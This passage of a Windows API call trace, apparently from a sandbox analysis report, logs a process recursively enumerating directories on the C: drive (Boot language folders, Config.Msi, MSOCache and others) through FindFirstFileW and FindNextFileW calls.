ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3974130 [0074.176] FindNextFileW (in: hFindFile=0x3974130, lpFindFileData=0x354f808 | out: lpFindFileData=0x354f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.176] FindNextFileW (in: hFindFile=0x3974130, lpFindFileData=0x354f808 | out: lpFindFileData=0x354f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0074.176] FindClose (in: hFindFile=0x3974130 | out: hFindFile=0x3974130) returned 1 [0074.177] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x39420b8 | out: hHeap=0x5b0000) returned 1 [0074.177] FindNextFileW (in: hFindFile=0x603068, lpFindFileData=0x354fa84 | out: lpFindFileData=0x354fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0074.177] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x39420b8 [0074.177] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*", lpFindFileData=0x354f808 | out: lpFindFileData=0x354f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3974130 [0074.177] FindNextFileW (in: hFindFile=0x3974130, lpFindFileData=0x354f808 | out: lpFindFileData=0x354f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.177] FindNextFileW (in: hFindFile=0x3974130, lpFindFileData=0x354f808 | out: lpFindFileData=0x354f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0074.178] FindClose (in: hFindFile=0x3974130 | out: hFindFile=0x3974130) returned 1 [0074.178] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x39420b8 | out: hHeap=0x5b0000) returned 1 [0074.178] FindNextFileW (in: hFindFile=0x603068, lpFindFileData=0x354fa84 | out: lpFindFileData=0x354fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0074.178] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x39420b8 [0074.178] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*", lpFindFileData=0x354f808 | out: lpFindFileData=0x354f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3974130 [0074.178] FindNextFileW (in: hFindFile=0x3974130, lpFindFileData=0x354f808 | out: lpFindFileData=0x354f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.178] FindNextFileW (in: hFindFile=0x3974130, lpFindFileData=0x354f808 | out: lpFindFileData=0x354f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0074.179] FindClose (in: hFindFile=0x3974130 | out: hFindFile=0x3974130) returned 1 [0074.179] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x39420b8 | out: hHeap=0x5b0000) returned 1 [0074.179] FindNextFileW (in: hFindFile=0x603068, lpFindFileData=0x354fa84 | out: lpFindFileData=0x354fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0074.179] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x39420b8 [0074.179] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*", lpFindFileData=0x354f808 | out: lpFindFileData=0x354f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3974130 [0074.179] FindNextFileW (in: hFindFile=0x3974130, lpFindFileData=0x354f808 | out: lpFindFileData=0x354f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.179] FindNextFileW (in: hFindFile=0x3974130, lpFindFileData=0x354f808 | out: lpFindFileData=0x354f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0074.179] FindClose (in: hFindFile=0x3974130 | out: hFindFile=0x3974130) returned 1 [0074.179] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x39420b8 | out: hHeap=0x5b0000) returned 1 [0074.179] FindNextFileW (in: hFindFile=0x603068, lpFindFileData=0x354fa84 | out: lpFindFileData=0x354fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0074.180] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x39420b8 [0074.180] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*", lpFindFileData=0x354f808 | out: lpFindFileData=0x354f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3974130 [0074.180] FindNextFileW (in: hFindFile=0x3974130, lpFindFileData=0x354f808 | out: lpFindFileData=0x354f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.180] FindNextFileW (in: hFindFile=0x3974130, lpFindFileData=0x354f808 | out: lpFindFileData=0x354f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0074.180] FindClose (in: hFindFile=0x3974130 | out: hFindFile=0x3974130) returned 1 [0074.180] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x39420b8 | out: hHeap=0x5b0000) returned 1 [0074.180] FindNextFileW (in: hFindFile=0x603068, lpFindFileData=0x354fa84 | out: lpFindFileData=0x354fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0074.180] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x39420b8 [0074.180] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*", lpFindFileData=0x354f808 | out: lpFindFileData=0x354f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3974130 [0074.180] FindNextFileW (in: hFindFile=0x3974130, lpFindFileData=0x354f808 | out: lpFindFileData=0x354f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.181] FindNextFileW (in: hFindFile=0x3974130, lpFindFileData=0x354f808 | out: lpFindFileData=0x354f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0074.181] FindClose (in: hFindFile=0x3974130 | out: hFindFile=0x3974130) returned 1 [0074.181] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x39420b8 | out: hHeap=0x5b0000) returned 1 [0074.181] FindNextFileW (in: hFindFile=0x603068, lpFindFileData=0x354fa84 | out: lpFindFileData=0x354fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0074.181] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x39420b8 [0074.181] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*", lpFindFileData=0x354f808 | out: lpFindFileData=0x354f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3974130 [0074.181] FindNextFileW (in: hFindFile=0x3974130, lpFindFileData=0x354f808 | out: lpFindFileData=0x354f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.181] FindNextFileW (in: hFindFile=0x3974130, lpFindFileData=0x354f808 | out: lpFindFileData=0x354f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0074.181] FindClose (in: hFindFile=0x3974130 | out: hFindFile=0x3974130) returned 1 [0074.181] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x39420b8 | out: hHeap=0x5b0000) returned 1 [0074.182] FindNextFileW (in: hFindFile=0x603068, lpFindFileData=0x354fa84 | out: lpFindFileData=0x354fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0074.182] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x39420b8 [0074.182] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-TW\\*", lpFindFileData=0x354f808 | out: lpFindFileData=0x354f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3974130 [0074.182] FindNextFileW (in: hFindFile=0x3974130, lpFindFileData=0x354f808 | out: lpFindFileData=0x354f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.182] FindNextFileW (in: hFindFile=0x3974130, lpFindFileData=0x354f808 | out: lpFindFileData=0x354f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0074.182] FindClose (in: hFindFile=0x3974130 | out: hFindFile=0x3974130) returned 1 [0074.182] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x39420b8 | out: hHeap=0x5b0000) returned 1 [0074.182] FindNextFileW (in: hFindFile=0x603068, lpFindFileData=0x354fa84 | out: lpFindFileData=0x354fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0074.182] FindClose (in: hFindFile=0x603068 | out: hFindFile=0x603068) returned 1 [0074.182] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x39310a8 | out: hHeap=0x5b0000) returned 1 [0074.184] FindNextFileW (in: hFindFile=0x603028, lpFindFileData=0x354fd00 | out: lpFindFileData=0x354fd00*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0074.184] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3900088 [0074.186] FindFirstFileW (in: lpFileName="C:\\Config.Msi\\*", lpFindFileData=0x354fa84 | out: lpFindFileData=0x354fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3974130 [0074.186] FindNextFileW (in: hFindFile=0x3974130, lpFindFileData=0x354fa84 | out: lpFindFileData=0x354fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.186] FindNextFileW (in: hFindFile=0x3974130, lpFindFileData=0x354fa84 | out: lpFindFileData=0x354fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0074.187] FindClose (in: hFindFile=0x3974130 | out: hFindFile=0x3974130) returned 1 [0074.187] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3900088 | out: hHeap=0x5b0000) returned 1 [0074.187] FindNextFileW (in: hFindFile=0x603028, lpFindFileData=0x354fd00 | out: lpFindFileData=0x354fd00*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0074.187] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3900088 [0074.187] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\*", lpFindFileData=0x354fa84 | out: lpFindFileData=0x354fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="攈`\x16")) returned 0xffffffff [0074.187] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3900088 | out: hHeap=0x5b0000) returned 1 [0074.187] FindNextFileW (in: hFindFile=0x603028, lpFindFileData=0x354fd00 | out: lpFindFileData=0x354fd00*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x56257dc0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x56257dc0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0xae99ef60, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0074.188] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3900088 [0074.188] FindFirstFileW (in: lpFileName="C:\\MSOCache\\*", lpFindFileData=0x354fa84 | out: lpFindFileData=0x354fa84*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3974130 [0074.188] FindNextFileW (in: hFindFile=0x3974130, lpFindFileData=0x354fa84 | out: lpFindFileData=0x354fa84*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.188] FindNextFileW (in: hFindFile=0x3974130, lpFindFileData=0x354fa84 | out: lpFindFileData=0x354fa84*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0074.189] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3910090 [0074.189] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\*", lpFindFileData=0x354f808 | out: lpFindFileData=0x354f808*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, 